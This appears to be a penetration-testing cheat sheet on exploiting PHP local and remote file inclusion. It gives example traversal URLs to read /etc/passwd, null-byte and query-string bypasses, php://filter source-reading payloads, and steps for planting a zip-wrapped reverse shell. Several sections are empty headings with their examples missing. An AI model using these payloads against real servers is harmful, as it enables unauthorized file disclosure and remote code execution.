PHP - LFI and RFI
How to Exploit PHP LFI/RFI and Methods:
1) Basic Local File Inclusion and Remote File Inclusion 2) Null Byte 3) Base64 Encoded 4) PHP Input Wrapper 5) PHP Zip Wrapper 6) proc/self/environ 7) Log File Contamination 8) Email Revese Shell 9) phpinfo LFI
Basic Local File Inclusion and Remote File Inclusion
http://example.com/script.php?page=../../../../../../../../etc/passwd
http://example.com/script.php?language=/etc/passwd Null Byte
# On PHP 5.3 and below, you can use Null Byte %00 to bypass php from appending .php extensions
http://example.com/script.php?language=/etc/passwd%00
# Another way to deal with this is to use the ? (question mark) in order to make the rest of the strings to be interpreted as a parameter.
# Also try %2500
http://example.com/script.php?language=/etc/passwd? Base64 Encoded
index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
index.php?page=php://filter/convert.base64-encode/resource=index.phpPHP Input Wrapper - POST
Example 1:
Example 2:

PHP Zip Wrapper
The zip wrapper processes uploaded .zip files server side allowing a penetration tester to upload a zip file using a vulnerable file upload function and leverage he zip filter via an LFI to execute. A typical attack example would look like:
1. Create a PHP reverse shell 2. Compress to a .zip file 3. Upload the compressed shell payload to the server 4. Use the zip wrapper to extract the payload using:
5. The above will extract the zip file to shell, if the server does not append .php rename it to shell.php instead
proc/self/environ


Log File Contamination
Email Revese Shell
phpinfo() LFI
1 - Check if upload is enabled
2 - Execute the POST with Content Type and check for PHP variables. Below are two examples.
Example 1 from the documentation:

Example 2 from IPPSEC - POISON

2 - The script is located at PayLoadAllTheThings - PHP LFI Path.
3 - Start the listener and get it done
References: https://secf00tprint.github.io/blog/payload-tester/lfirfi/en https://www.hackingarticles.in/5-ways-exploit-lfi-vulnerability/ https://highon.coffee/blog/lfi-cheat-sheet/ https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/
Last updated